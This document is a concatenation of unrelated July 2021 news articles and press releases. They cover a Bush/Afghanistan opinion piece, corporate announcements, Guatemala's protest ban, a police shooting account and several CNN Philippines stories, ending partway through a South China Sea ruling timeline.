Maybe, given the 2007-08 financial crisis, history would not have changed that much even in that alternate universe. But it's not hard to believe that George W. Bush might have been re-elected in 2004 with something closer to 56 percent of the vote rather than 51 percent, ushering in an even bigger Republican Senate majority than the 55 seats the GOP won in that election. John Kerry would have gone the way of Michael Dukakis, if not Walter Mondale, rather than coming within a whisker in Ohio of winning the White House.

One man who seemingly has not contemplated these counterfactuals: George W. Bush. In a rare public break with one of his successors, Bush told a German broadcaster that the planned withdrawal from Afghanistan was a mistake. "I'm afraid Afghan women and girls are going to suffer unspeakable harm," he said. He added that "the consequences are going to be unbelievably bad."

"They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart," Bush said. The U.S. should not wash its hands of Afghanistan post-withdrawal and must evacuate as many Afghan collaborators as is feasible. But the compassionate conservative has learned nothing from the folly of America's longest war.

The war itself created the moral hazard Bush now decries. If we could not change the facts on the ground in Afghanistan with the world's most powerful military there for 20 years and without any plans to do so in the next 20 years, the war cannot go on forever. "America's vital interests and our deepest beliefs are now one," Bush proclaimed in his second inaugural address, promising to spread liberty around the globe. But an unrealistic foreign policy can never be a moral one. A just war must be able to accomplish its objectives. Otherwise it leaves nothing but death, destruction, and misery in its wake.

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Bush is a well-meaning man, but he is wrong. Donald Trump and Joe Biden are right.

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Deloitte Veteran Will Galvanize Efforts to Bring AI-powered Talent Marketplace to the World

NEW YORK, July 14, 2021--(BUSINESS WIRE)--Gloat, pioneers of the Talent Marketplace platform that is reinventing work and careers in global enterprises, today announced the appointment of Jeff Schwartz as VP of Insights and Impact. In this role, Schwartz will apply his extensive industry experience to help shape Gloats product strategy moving forward, working closely with company leadership, customers and internal teams to drive the growth and expansion of the companys Talent Marketplace platform.

This strategic hire comes at a time when the need to embrace new ways of working and orchestrating workforces has becoming clearer than ever before, and represents a perfect match of vision and impact: Schwartz has spent decades researching, developing and advocating for a vision of the future of work that Gloat aims to make a reality for companies around the world.

"Jeff is an incredible subject matter expert and innovator who has had a front row seat to the changes that have transformed and shaped the modern workplace. In many ways, Jeff pioneered this market right alongside us; we both saw the need to unleash market dynamics within organizations to meet the challenges of the future of work," said Gloat CEO and Co-Founder Ben Reuveni. "We are so excited to combine forces and increase and accelerate the incredible impact of Jeffs work transforming organizations. We know our customers will benefit from the support of an expert who has decades-long experience advising industry leaders on innovative ways to solve their most complex challenges."

Prior to joining Gloat, Schwartz was a principal with Deloitte Consulting LLP for 20 years, most recently as the U.S. Leader for the future of work and as a senior partner in the firms Global Human Capital executive since 2003. His leadership roles have included global and U.S. marketing, eminence, and brand, leading the organization, change, and talent practices, and growing the firms global delivery capabilities in India. Schwartz also has been a leading innovator and was the founding editor and a principal author of Deloittes global human capital trends report since 2011 and the co-founder of Catalyst Tel Aviv, the firms first global innovation tech hub. It was in Tel Aviv in 2016 that Schwartz first met the founders of Gloat while researching one of the first future of work start-up landscape surveys.

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The challenges facing organizations today are timely, urgent and complex. Business leaders must find new ways to manage hybrid work models, unleash diversity, equity and inclusion for all employees, and most importantly, understand the needs of talent and provide every individual with the opportunity to experience choice and growth across an organization. In his work with Gloat, Schwartz is most excited by the opportunity to have a direct impact on how organizations tackle these challenges.

"During the pandemic and the economic and social crises of the past 16 months, we all saw firsthand the amazing potential, resilience and adaptability of workers everywhere. We need to build on this to advance new mindsets, mental models and strategies to navigate 21st century work and careers  and one of the single most important and high-impact investments companies can make now to address this need is in talent marketplaces," said Schwartz. "I am thrilled to join Gloat as the pioneer and global leader in this space, and truly excited to see what we can accomplish together."

A renowned subject matter expert on work and workforce transformation, Schwartz published his first book on the topic  WORK DISRUPTED: Opportunity, Resilience, and Growth in the Accelerated Future of Work  in January. He has lived in and led consulting practices in the U.S., India, Israel, Belgium, Russia and Kenya. Schwartz has an MBA from the Yale School of Management and an MPA from Princetons Graduate School of Public and International Affairs. He is an adjunct professor and visiting lecturer at Columbias Graduate School of Business and Cornell Techs MBA program.

About Gloat

Founded in 2015, Gloat is redefining the future of work with its mission to democratize career development, unlock skills and help enterprises build a future-proof workforce. It pioneered the AI-powered Talent Marketplace being used by the worlds leading global enterprises today. The company was founded by Ben Reuveni, Amichai Schreiber and Danny Shteinberg and is based in New York, with offices across the globe and a large R&D center in Tel Aviv. www.gloat.com

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005272/en/

Contacts

Melanie Daifotis

melanie@bospar.com

203.979.2250
Guatemalan President Alejandro Giammattei speaks at a new facility to receive deported Guatemalans at La Aurora Air Force base during its inauguration ceremony also attended by U.S. Secretary of Homeland Security Alejandro Mayorkas in Guatemala City, Wednesday, July 7, 2021. (AP Photo/Moises Castillo)

GUATEMALA CITY (AP)  The president of Guatemala on Tuesday banned most protests for two weeks, arguing they have been spreading the coronavirus.

President Alejandro Giammattei's Cabinet approved the decree and it will go into effect Wednesday.

Protesters in recent weeks have demanded Giammatteis resignation, saying the government has mismanaged the coronavirus pandemic and botched efforts to get vaccines. There have been delays in shipments of Russias Sputnik vaccine, even though Guatemala paid half up front.

It is the latest of more than a dozen decrees that Giammattei has issued to temporarily limit constitutional rights, and even Vice President Guillermo Castillo says enough is enough.

We need states of vaccination, not a state of emergency, Castillo told The Associated Press. Rather than limiting constitutional rights, what the government should do is get more vaccines.

The president's office said open-air demonstrations by people wearing face masks and practicing social distancing will be allowed, but police may break up any protest if they judge it violates any of those rules or presents a public health risk.

The measures also include a night-time ban on alcohol sales starting at 6 p.m., and a ban on driving without a face mask.

A crowd of about 300 protesters gathered Saturday in the main square of the capital to demand the resignation of Giammattei, and on Monday banners appeared on several streets in Guatemala City demanding he go.

Referring to the protests, Giammattei said: These people are spreading the virus and causing more problems. That is what they want and they are spreading it through a series of illegal demonstrations."

Giammattei signed a deal in April for 16 million doses of the two-dose Russian vaccine, and paid 50%, or almost $80 million, up front. But only about 550,000 Sputnik doses have arrived so far.

About 1.5 million doses of the Moderna vaccine have been donated by the United States. But with just over 2 million doses, Guatemala doesnt have nearly enough for its 17 million people.

So far, Guatemala has registered about 320,000 coronavirus cases and 9,721 COVID-19 deaths.
This agreement will expand the market reach of mdf commerce in the CLM space and highlights the innovative value of mdf commerce products



MONTREAL, July 14, 2021 (GLOBE NEWSWIRE) -- mdf commerce inc. (TSX:MDF), a leader in SaaS commerce technology solutions, today announces a new marketing agreement with Alutiiq Professional Consulting, LLC (APC). APC is a sister company to Alutiiq, LLC (Alutiiq), a premier Alaska Native Corporation-owned company whose subsidiaries are leading providers of specialized services to the US Federal Government. Through this agreement, APC will be able to introduce the mdf commerce contract lifecycle management (CLM) solution to its own clients and partners, complementing its portfolio of services with an enterprise-grade CLM solution that streamlines the complete contract lifecycle.

As a trusted partner and user of the mdf commerce CLM solution, APC experienced first-hand how the solution helps improve efficiencies, collaboration and productivity by providing comprehensive visibility to contracts, automated processes, smart document management and dynamic search and reporting capabilities.

Were delighted to have taken the next step in our partnership with mdf commerce through this marketing agreement, said Gerad G Godfrey, President, APC. The comprehensive mdf commerce CLM solution improves every aspect of contract management and we look forward to introducing this tool to our clients and partners, who we know would greatly benefit from its productivity-enhancing features such as advanced clause and compliance management and true online collaboration.

"This new agreement with APC is an important endorsement of the mdf commerce CLM solution," said Mark Eigenbauer, President, Strategic Sourcing at mdf commerce. "Were beyond pleased that APC believes in our CLM solution as much as we do and that an even broader range of clients and partners will be able to benefit from the efficiencies and productivity gains it provides."

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About mdf commerce inc.

mdf commerce inc. (TSX:MDF) enables the flow of commerce by providing a broad set of SaaS solutions that optimize and accelerate commercial interactions between buyers and sellers. Our platforms and services empower businesses around the world, allowing them to generate billions of dollars in transactions on an annual basis. Our Strategic Sourcing, Unified Commerce and emarketplace platforms are supported by a strong and dedicated team of approximately 700 employees based in Canada, the United States, Denmark, Ukraine and China. For more information, please visit us at mdfcommerce.com, follow us on LinkedIn or call at 1-877-677-9088.

For further information:

mdf commerce

Mark Eigenbauer

President, Strategic Sourcing

Toll-free number: 1-877-677-9088, ext. 6250

Email: mark.eigenbauer@mdfcommerce.com

mdf commerce

Andre Leblanc

Vice President, Marketing and Public Affairs

Phone: +1 (514) 961-0882

Email: andre.leblanc@mdfcommerce.com




Now everyone in Kazakhstan can get the best mobile experiences

NEW YORK and NUR-SULTAN, Kazakhstan, July 14, 2021 (GLOBE NEWSWIRE) -- IZI, the first digital-only cellular operator in Kazakhstan, and Yonder Media Mobile Inc. (YMM), an advanced US-based mobile experience and technology company, announced a partnership whereby YMM will license its YO super application exclusively to IZI mobile.



A first of its kind, YO has been built from the ground up and designed to deliver connectivity, content, community, and commerce simply within a single platform. YO opens up new revenue opportunities for IZI by amplifying user engagement, lowering customer acquisition costs, and adding new revenue streams.

With an anticipated launch in Kazakhstan by the end of 2021, YO will be available to an ever-growing population of young mobile device users. As IZI targets the young population with a unique pricing model and state-of-the-art mobile application, YO is the perfect (if not only) platform specifically designed to reach this valuable demographic and deliver the experience they demand.

Adam Kidron, CEO - YMM, said, YO exists to give consumers and creators the absolute best experience 1440 minutes a day. In IZI, we found a partner as committed as we are to disintermediating the marketplace and supercharging engagement to provide people with a unique, inclusive, holistic experience. In some of YOs markets, we stand alone as a brand providing MVNO connectivity and a unique platform. Still, by working together with neo-telecom operator IZI, we believe we can further our mission to provide people access to the best mobile experience 1440 minutes a day no matter their economic circumstance.

Maksim Panov, Founder, IZI mobile, added: We want to add a sense of adventure and wonder to IZI that rewards our young audience for their activity as we build loyalty over time. Our aspiration is to create a teletainment platform together with YO, connecting the telco and media worlds and providing new creative opportunities to our customers. They will be able to watch, listen, play, create and communicate  easy and seamlessly.

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About IZI Mobile

IZI, which was launched in Kazakhstan on June 19, 2019, is a Gen Z targeting digital mobile operator that provides all services online, using a smart mobile application instead of service offers, and support chat instead of call-centers. IZI now has 1.7M downloads, >120k registered users, >65k subscribers in Kazakhstan. For more information, visit https://izi.me/en/about or write info@izi.me

About Yonder Media Mobile

Yonder Media Mobile (YMM) is the proud parent of YO, an advanced immersive lifestyle platform that encourages and rewards participation and collaboration. YO was built by a team of 70 highly skilled engineers, producers, and developers to amplify user engagement by delivering connectivity, content, community, and commerce simply within a single mobile experience.

YO BETA (launched in Mexico on December 2 last year) is on fire: >1.2M downloads, >500k registered users, >25k subs, and the best metric of all Active subscribers now spend (on average) >90 minutes in YO per day.

Investors in YMM include Guomin Xie, the Founder and former co-President of Tencent Music Entertainment Group; Bill Anderson, Chairman and CEO TOPA Equities Ltd; Cliff Burnstein, the manager of Metallica, Muse, Black Keys, Journey, and more.

For more information, visit https://www.yomobile.com/

Contact Information  YMM Helgi Pakholok

Director of Strategic Communications and Media Relations

helga@yomobile.com

+1 929 3031636



Frank De Maria

Partner at Purposeful Communications

frank.demaria@purposefulcommunications.com

+1 347 647 0284




Online Learning

Idaho Creates Statewide Digital Campus with Course Sharing Platform

Idaho's public colleges and universities can now share their online course offerings through the state's Online Idaho initiative, an effort to expand access to higher education via a statewide digital campus. The Idaho State Board of Education partnered with course and program sharing platform Quottly to enable centralized course discovery, registration and equivalency, allowing students to more easily find and enroll in courses across multiple institutions.

"Each of Idaho's eight public postsecondary institutions has a rich array of online courses and programs supported by faculty who are exceptionally skilled in online instruction," explained Jonathan Lashley, associate chief academic officer at the Idaho State Board of Education, in a statement. "After teaching and learning went fully remote due to the pandemic, we realized that our institutions could both consolidate and improve access to learning opportunities for Idahoans by partnering with Quottly to build a comprehensive, easy-to-navigate platform for enrolling in the fully online courses."

The Quottly platform is powering improvements in several areas, according to a news announcement:

Course registration. Students can search and register for transferable classes across institutions, all in one place.

Transfer and equivalency. The system automates and streamlines the process of course equivalency and articulation search, creation and approval.

Programs and certificates. Students can explore programs, requirements and certificates across schools, while institutions can create shared programs, certificates and micro-credentials.

Pathways. Personalized dashboards allow students to schedule courses and track their progress toward a credential or degree.

"Quottly's suite of technical solutions prioritize the student experience without upending our existing workflows and administrative processes," noted Lashley. "As higher education institutions navigate times of crisis as well as calm, inter-institutional collaboration is imperative for improving student success outcomes and addressing institutional pain points."
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A couple of weeks ago, Saint Bridget of Sweden Parish received an unusual request. It came by way of Captain Philip ONeill, USAF, the Parishs former Parochial Vicar, who now serves as Chaplain at Al Udeid Air Base in Qatar.

Father ONeill informed Saint Bridgets that his unit was in need of toiletries for both its male and female members. Saint Bridget Pastor Father Jeffrey Romans, asked parishioners to lend a hand, and they donated enough toiletries to fill 12 medium-sized cardboard boxes to the brim.

Thanks to the packing and shipping expertise of parishioner Anna Satterfield, the Parish was able to ship donation to the base quickly.

Father ONeill and his unit were very grateful andthey shared the photo (at right) with the Parish as a way to say thank you.
Then rummaged through his pockets to find a set of car keys to get into his vehicle, to find out he didn't want that car. He got out of that vehicle, and found another random person driving to the gas station  which by the way, could have been any one of us  and he shot at that person. That person got out of there as fast as they could. When he realized there was no other victim that he could attack, he got back into his vehicle and headed eastbound on Highway K, and went into the Mobil station.

What he didn't know is that our investigator was beginning his shift, was loading up. He is an on his undercover officer with my office. He has a very special assignment. He's very talented, very skilled at what he does, and he's filling up his squad car, getting his morning cup of coffee I imagine and doing what he wanted to do. And along came this individual.

This individual, is clear to me after watching the video, had no idea who he is about to encounter. And this, we're splitting seconds here. He came out, gun drawn and approached the investigator, and started to shoot at him. We are again splitting seconds. The investigator immediately began firing back at him, falling to the ground and taking on at least two rounds, and then firing back at him.
Metro Manila (CNN Philippines, July 13)  With a major international debt watcher recently dialing down on its expectations of the Philippines, some economists are flagging its potential repercussions on the economy and livelihoods.

Earlier this week, Fitch Ratings revised its outlook for the country from "stable" to "negative," with the rise in risks to the country's credit profile due to the COVID-19 health crisis and the economy's scars from it among the reasons it cited.

While the global credit rater affirmed its BBB rating for the Philippines, a negative outlook means the "likelihood is there" for a downgrade of the country's investment grade, UnionBank chief economist Carlo Asuncion told CNN Philippines.

"Syempre kasi dapat mas mura, mas madaling um-access ang gobyerno at mga private companies sa external financing systems," he explained, as a lower investment grade means it's going to be more expensive for the nation to secure debts abroad.

[Translation: Of course it's supposed to be cheaper, easier for government and private companies to access external financing systems.]

"Definitely may impact diyan 'yung mga needs na kailangang pondohan ng gobyerno, needs na kailangang pondohan ng mga private companies that were actually expanding," he explained. "May impact 'yan sa job generation."

[Translation: That definitely has an impact on needs the government needs to finance, needs of private companies that were actually expanding that must be funded. That has an impact on job generation.]

Some 3.73 million Filipinos were out of work as of May, easing from the month prior with the relaxation of quarantine restrictions. This translates to a national 7.7% unemployment rate.

Asuncion says this reflects how the Philippine economy and its growth potential are seen at least in the medium term.

ING Bank senior economist Nicholas Mapa, for his part, noted the recent revision shows how ratings agencies have been paying attention to the rise in outstanding debt while "recognizing the slowing momentum of the economic engines."

The country's outstanding loans breached 11 trillion in May as the government borrowed more to beef up its COVID-19 war chest. However, this also came as the government's stimulus package Bayanihan 2 expired at end-June, with billions of pesos still unspent.

While the proposed Bayanihan 3 already hurdled the House of Representatives, Congress as a whole has yet to pass it.

"Despite showing some green shoots, the overall growth trajectory is likely less vibrant compared to pre-pandemic levels as consumption remains constrained by high unemployment and investments are held back due to poor sentiment," said Mapa.

Asuncion also noted that the recent downgrade might make other credit raters also take a look, mentioning in particular S&P Global Ratings and Moody's Investors Service.

Earlier this year, S&P maintained its BBB+ rating for the Philippines while Moody's affirmed its Baa2 rating. Both ratings come with a stable outlook.

"If trends continue we could see other ratings agencies follow suit in the next 3 months with a possible downgrade by yearend if fiscal metrics worsen further," Mapa further explained.

BDO chief market strategist Jonathan Ravelas told CNN Philippines the outlook revision is a "writing on the wall" that the country needs to do better in navigating the COVID-19 pandemic.

Ravelas mentioned that ramping up the national vaccine drive can allow the further reopening of the economy, a move that he said can ensure recovery takes place.

This is a view shared by RCBC chief economist Michael Ricafort, who also noted that additional measures to open the economy more will also boost the government's revenue collection efforts and in turn slash the national budget deficit and slow the debt stock's growth.

A budget deficit happens when the government spends more than it collects. The deficit reached 200.3 billion in May, a five-month high.

CNN Philippines correspondent Melissa Lopez contributed to this report.
Metro Manila (CNN Philippines, July 13)  Overseas Filipinos sent more money in May 2021, recent data from the Bangko Sentral ng Pilipinas (BSP) showed.

Remittances hit $2.65 billion during the month - up by 13.3% from $2.34 billion in May last year.

This pushed total remittances from January to May to $13.68 billion - a 6.6% increase from $12.83 billion during the same period last year.

The BSP said land-based workers with contracts lasting at least a year sent home $2.05 billion in May this year. This is 16.2% higher than the $1.77 billion recorded in May 2020.

Remittances made by seafarers and short-term land-based laborers also grew from $519 million to $532 million - rising by 2.7%.

The central bank reported cash transfers from overseas Filipinos in the United States had the biggest chunk of overall transactions for the period.

Singapore, Saudi Arabia, Japan, the United Kingdom, the United Arab Emirates, Canada, South Korea, Qatar, and Taiwan were also top sources of remittances from abroad.
Metro Manila (CNN Philippines, July 13)  As the government seeks to standardize the adobo recipe, Nancy Reyes Lumen - known as the "Adobo Queen" - expressed her opposition to such move, emphasizing that every Filipino has his or her own way of cooking the well-loved food.

"Adobo, it's a property, you cannot meddle with someone's property. Everybody owns their own adobo," she told CNN Philippines' The Final Word.

Lumen also described the move to standardize the dish as a "very rude awakening."

"The word standardize is so stressful and intimidating. They could have not started with adobo because adobo, it hits at the gut of the Filipino," she said.

The Department of Trade and Industry earlier announced that a technical committee will be developing the Philippine National Standards when it comes to cooking some popular local dishes.

This will pave the way for a "distinguished Filipino food culture while establishing the common ground for food businesses," and will also determine an authentic Filipino adobo dish, according to the department.

It drew flak on social media, but on Sunday, the DTI clarified the proposed standard in cooking adobo and other local dishes are for international promotion only, and will not be mandatory for Filipino households.

Instead of doing this, Lumen suggested that the government develop an adobo product - like powders or sauces - which will really say "Philippine Adobo."
Metro Manila (CNN Philippines, July 13)  Zeneida "Nini" Quezon-Avancena, the last surviving daughter of the late President Manuel L. Quezon, has died, her son Ricky announced on Tuesday. She was 100.

"Mom passed peacefully as her children surrounded her, reading psalms from the Bible and praying the rosary," said Ricky in a statement. "An agent of light, of all things good and just, promoter and advocate of human rights, equality, social justice, land reform and freedom from oppression and poverty, has passed on to eternity."

Quezon-Avancena is survived by her nine children.

She was also known as the co-founder of the Concerned Women of the Philippines, a socio-civic organization created in 1978 which aimed to support anti-prostitution programs and promote non-violence.

Her nephew, columnist Manuel "Manolo" L. Quezon III, paid tribute by sharing an old footage of Quezon-Avancena with her father in 1937.

Quezon-Avancena was also a member of the Presidential Human Rights Committee, Senator Kiko Pangilinan mentioned, adding that the two met when he was a student activist and that she later supported his electoral campaign in 1992.

"Most of Tita Ninis 100 years were as a family woman and staunch ally of justice and human rights," said Pangilinan. "She always carried her familys legacy with grace and added her own pursuits befitting the needs of the time."

Former Presidential Spokesperson Edwin Lacierda also honored Quezon-Avancena, calling her a pillar of strength during the Martial Law era.

"She never wavered when the country needed a voice and spoke by marching with the youth, despite her age," said Lacierda.
Metro Manila (CNN Philippines, July 14)  President Rodrigo Duterte will preside over the Partido Demokratiko Pilipino-Lakas ng Bayan national assembly on July 17, which party president and Senator Manny Pacquiaos faction earlier said was unauthorized and should be ignored.

PDP-Laban acting secretary general Melvin Matibag made the confirmation on Wednesday amid the growing feud within the ruling party.

Malacanang earlier said Duterte, chairman of the party, recognizes the leadership of vice chairman Energy Secretary Alfonso Cusi, who called for the special meeting in Clark. This is despite the Pacquiao-led faction's expulsion of Cusi last week for allegedly violating the party's constitution.

In his regular briefing, Presidential Spokesperson Harry Roque said if the members want to ignore even Duterte, "so be it."

"But we will see what will happen," he said when asked to comment on the likelihood that the President's presence in the assembly will only further widen the rift.

"Sa lahat naman ng organisasyon, meron diyan na demokrasya, pinakikinggan ang mga miyembro. Tignan nalang po natin kung anong magiging desisyon ng PDP-Laban," he added.

[Translation: In all organizations, there is democracy, all members' views are heard. Let's just see what the PDP-Laban's decision will be.]

Quoting Duterte, Roque previously said the political party will "resolve all existing disputes within PDP-Laban legally."

He also responded to PDP-Laban education chair Pines Arcega's statement that several party members are supposedly against Duterte's possible vice-presidential bid. According to Arcega, Duterte could be expelled from the party if decides to run in the 2022 polls.

"Bahala po sila kung anong gagawin nila," Roque said. "Pag nag-desisyon ang Presidenteng tumakbo ng bise presidente, kahit anong partido pa, kahit walang partido, tatakbo po 'yan."

[Translation: It is up to them. If the President decides to run for vice president, whether or not he has a political party, he will run.]

He also took a swipe at the party, saying it only had few members - enough to fill a jeepney - before Duterte won the presidency in 2016.

"Kung aalisin niyo po si Presidente sa PDP-Laban, balik kayo sa isang jeepney [If you'll expel the President, you'll go back to a membership count that's just enough for one jeepney]," Roque said.

On Arcega's statement, PDP-Laban executive vice chairman Senator Aquilino "Koko" Pimentel III said, "Maybe that's just her personal opinion."
Metro Manila (CNN Philippines, July 14)  From a current high of over 16%, the government is working to trim hunger incidence to pre-pandemic levels on the last year of President Rodrigo Duterte, according to Hunger czar Karlo Nograles.

The Cabinet Secretary told the Pre-SONA Forum of the Human Development and Poverty Reduction Cluster that authorities want to revive economic activity faster as this is tied to the availability of jobs and better family incomes.

Pollster Social Weather Stations (SWS) found that 16.8%, or an estimated 4.2 million families, experienced involuntary hunger as of May. Most of the hungry families are in Mindanao, followed by areas in Luzon excluding Metro Manila.

In December 2019, SWS tallied involuntary hunger at 8.8%, equivalent to 2.1 million families.

"The target at the end of the term of President Duterte is to bring it back to the 8% hunger incidence if you base it on the SWS survey," Nograles said.

"How are we sure that we'll be able to increase economic activity and generate more jobs? A lot of it is hinged in the success of our vaccination efforts," he added.

READ: 'Hindi pwede na puro ayuda': Hunger czar says gov't to open more industries to address unemployment woes

Health Secretary Francisco Duque on Wednesday reported the country has administered 14 million doses of coronavirus vaccines, representing 10 million people who have received at least one shot.

Nograles said faster vaccination rollout will allow more sectors of the economy to reopen, which in turn will bring back jobs and restore incomes. "All of that will happen before the end of 2021, so that will really accelerate also the faster drop in hunger incidence," he added.

For now, the Hunger czar said the government is counting on supplementary feeding program for children delivered to homes, the sale of cheap supply of crops through the Trade Department's Diskwento Caravan, and campaigns for families to plant and grow their own food.
Metro Manila (CNN Philippines, July 14) Filipino workers bound for Israel will now be allowed to leave the country as the government lifted on Wednesday the suspension on their deployment.

"There [have] been low level incidents between the Israel Defense Force and Palestinian militant groups since the Hamas ceasefire took effect on May 21, 2021," Labor Secretary Silvestre Bello said in his order  which is "effectively immediately."

The Philippines suspended the deployment of workers to the Middle Eastern country in May amid the conflict between Israeli forces and Palestinian militants, which escalated that month.

The processing of applications continued despite the ban.

Last week, Bello already noted that deployment may resume this July, but stressed the agency would still be coordinating with the Department of Foreign Affairs regarding the security situation in Israel.
Metro Manila (CNN Philippines, July 14)  A top government official revealed on Wednesday the Duterte administration's plan to build an institution similar to the Centers for Disease Control and Prevention or CDC in the United States.

This information from vaccine czar Carlito Galvez Jr. came after top US infectious disease expert Dr. Anthony Fauci encouraged the Philippines and other nations to invest more on scientific research to fight future global health outbreaks.

Galvez said the government is working to consolidate all state-run medical and scientific research institutions in the country, such as the National Institutes of Health - University of the Philippines Manila and the Research Institute for Tropical Medicine.

"Magkaroon tayo ng tinatawag na CDC-like na parang sa US. Gagawin natin 'yan kasi 'yun ang direction ng Presidente," he told reporters.

[Translation: We will have something similar to the CDC in the US. We will do that because that is the direction the President wants.]

The CDC is the national public health agency of the United States. It is focused on developing and applying disease control and prevention in the US and worldwide.

President Rodrigo Duterte recently urged Filipino scientists to work harder to develop the Philippines' own COVID-19 vaccine despite the absence of a virology institute in the country. He said they have to "think or else their brains will melt" in order to help their countrymen. He said the country cannot be depending on outside sources for vaccines.
(CNN)  France's antitrust regulator has fined Google nearly $600 million and given the company two months to come up with proposals on how to pay publishers for their content or face more punishment.

The regulator said in a statement on Tuesday that Google had disregarded several injunctions related to the tech company's negotiations with French news publishers.

Google was fined 500 million ($592 million) over its failure to comply. If the search giant does not present compensation offers to publishers within the next two months, it faces additional penalties of up to 900,000 ($1.1 million) per day.

"When the regulator imposes obligations for a company, it must comply scrupulously, in both the spirit and letter. In this instance, this was unfortunately not the case," the antitrust agency's chief Isabelle de Silva said.

Google failed to comply by not acting "in good faith" in its negotiations with news agencies and publishers and refused to have a specific discussion on paying for news content online, according to da Silva.

Google said in a statement that it was "very disappointed" with the decision.

"We have acted in good faith throughout the entire process. The fine ignores our efforts to reach an agreement, and the reality of how news works on our platforms," a Google spokesperson said in a statement.

Google said it has a framework agreement with the Alliance de la Presse d'Information Generale (APIG), which represents French news media. It also has agreements with some leading publications such as Le Monde and Le Figaro.

The European Union overhauled its copyright laws in 2019, making platforms such as Google and YouTube responsible for copyright infringements committed by their users. The new rules also require search engines and social media platforms to share revenue with publishers if their content is displayed.

Google announced last year that it would pay publishers more than $1 billion over the next three years through a new program for licensing news that could help struggling newsrooms, which have lost advertising dollars to social media platforms.

This story was first published on CNN.com France hits Google with a $600 million fine
(CNN)  This year's Emmy Awards will be hosted by a first-timer.

CBS and the TV Academy on Monday announced that Cedric the Entertainer will make his Emmys hosting debut in September as the big show returns to a live, in-person format. A "limited audience of nominees and their guests" will also be present, according to a press release.

The 72nd Emmy Awards, held in September 2020, were held virtually, with winners giving their speeches over video chat.

"Since I was a little boy huddled up next to my grandmother, television has always been my reliable friend, so it is an enormous honor for me to host this year's Emmy Awards," said Cedric the Entertainer in a statement. "Throughout the roller-coaster of a year that we have all lived through, television has helped us stay connected as a society like never before. It not only entertained us, but as it always has, it helped to open our eyes, educate us, and hopefully brought about a better understanding of who we are as a people. I can't wait to take the stage to celebrate all of the great shows and performances that made us laugh, cry, dance and sing over the past year."

Cedric the Entertainer stars and executive producers CBS comedy "The Neighborhood."

The event will take place at the Microsoft Theatre in Los Angeles on September 19.

Nominations were announced Tuesday morning.

This story was first published on CNN.com Cedric the Entertainer to host the Emmys
Metro Manila (CNN Philippines, July 12)  A former solicitor general called on President Rodrigo Duterte to amend the current Baselines Law, saying it is the Philippines' "most practical" and "least costly" way to enforce its arbitral victory against China over the West Philippine Sea.

Retired Supreme Court Justice Francis Jardeleza, former solicitor general under the Aquino administration, urged Duterte to certify as urgent a measure that would amend Republic Act 9522 to specifically identify the maritime features in the West Philippine Sea which are being claimed by the country.

Jardeleza said there are other proposals previously raised to further uphold the arbitral ruling handed down by an international tribunal in The Hague in 2016, including suing Chinese President Xi Jinping over his country's sweeping nine-dash claim, and raising the matter before the United Nations once again.

"But we humbly submit that the Baselines Law amendment is the most practical, least costly amendment," he said, noting that the measure must be passed before Dutertes term ends next year.

Jardeleza previously wrote to Duterte that the amended RA 9522 will identify at least 100 maritime features of the West Philippine Sea. The present law, he explained to CNN Philippines, does not measure the territorial sea of Pag-asa island, for instance, or some other features which the country claims.

Now is the time that we have a law to measure by specific metes and bounds of our territorial sea, of all the features of the contested area so that we will know which part has a territorial sea," he said.

Five years after, China continues to reject the landmark Hague ruling which favors the Philippines.

READ: Remembering the 2016 Hague ruling: What has happened since then?

Even so, maritime law expert Jay Batongbacal stressed that the enforcement of the award is dependent on the Philippines exercising its jurisdiction, regardless of Beijings protests and demands.

Delay in doing so means that the Philippines will keep on sustaining the actual, practical damage and injury that arises from Chinas interference or from accommodating Chinas demands, he told CNN Philippines.

Among others, this means the country will continue losing the fish harvested by China or will keep foregoing the expected benefits of petroleum exploration and development, he said.

Batongbacal acknowledged the government's steps this year to call attention to China's "continuing disrespect" for the ruling and said this should be maintained. He added Duterte should reiterate the country's position during the next UN General Assembly to "at least neutralize his reckless and careless statement" in May when the President called the arbitral award a mere scrap of paper.

Former Philippine ambassador to the UN Lauro Baja, Jr. meanwhile said the Duterte administration should continue diplomatic protests and support other nations in their actions to contest Chinas position.

He also pointed out the importance of coming up with a resolution to enforce the award.

Diplomacy never ends so its not late to assert the award," he said. "We should be specific on what we want and resolute in our efforts to have the resolution passed."

RELATED: Palace: Govt. has done all that we could in asserting 2016 West Philippine Sea ruling
Metro Manila (CNN Philippines, July 12)  It has been five years since an international tribunal in The Hague unanimously ruled in favor of the Philippines in a historic case against China over the South China Sea dispute.

The five-member arbitral tribunal released a 479-page decision which invalidated Beijings sweeping claims over virtually the entire South China Sea and recognized Manilas sovereign rights in areas within its 200-nautical mile exclusive economic zone that China contests.

READ: What you need to know about the arbitral tribunal's ruling

Five years on, China continues to disregard the ruling  one it labeled as illegal and invalid  even as the Philippines maintained the award is final.

In 2021 alone, hundreds of the East Asian giants vessels were spotted scattered around the West Philippine Sea  a portion of the South China Sea that includes the Philippines' claimed areas and exclusive economic zone  despite repeated calls from the government for the withdrawal of the ships. Filipino fisherfolk bared challenges in bringing home catch due to the presence of foreign vessels in their regular fishing grounds.

RELATED: 5 years since PH won South China Sea arbitration, fishermen continue to fight for survival

As the country commemorates the landmark ruling's anniversary, CNN Philippines takes a look back at the momentous case victory and the events that transpired since then.

January 22, 2013

The Philippines notified China of its intent to challenge Beijings nine-dash claim. The note verbale containing the Notification and Statement of Claim was handed to then Chinese envoy H.E. Ma Keqing.

China earlier staked its claim to the waters through its so-called nine-dash line, which encompasses about 85% of the South China Sea, including 80% of the Philippines EEZ in the West Philippine Sea.

February 19, 2013

The Chinese government rejected and returned the note verbale, reiterating that it will neither accept nor participate in the arbitration.

December 7, 2014

In a position paper, China refuted the arbitral tribunals jurisdiction over the maritime dispute. It stresed that it wont participate in the case proceedings.

July 8, 2015

The first round of oral arguments started at the Hague. The Philippines argued that the court, created under the United Nations Convention on the Law of the Sea, has jurisdiction  and should intervene  in the maritime row.

October 29, 2015

The tribunal unanimously ruled that it has jurisdiction on majority of the points raised by the Philippines.

READ: The Hague arguments: Philippine case against China explained

July 12, 2016

After three and a half years, the bench finally released its ruling on the Philippines case against China. The judges ruled there was no legal basis for Beijing to claim "historic rights" to resources in areas under its nine-dash line.

The tribunal also found that China had violated the Philippines sovereign rights in its EEZ by interfering with fishing and petroleum exploration, constructing artificial islands, and failing to prevent Chinese fishermen from fishing in the zone.

It also said that Chinas land reclamations caused harm to the marine environment in the South China Sea.

Beijing rejected the tribunals ruling.

December 29, 2016

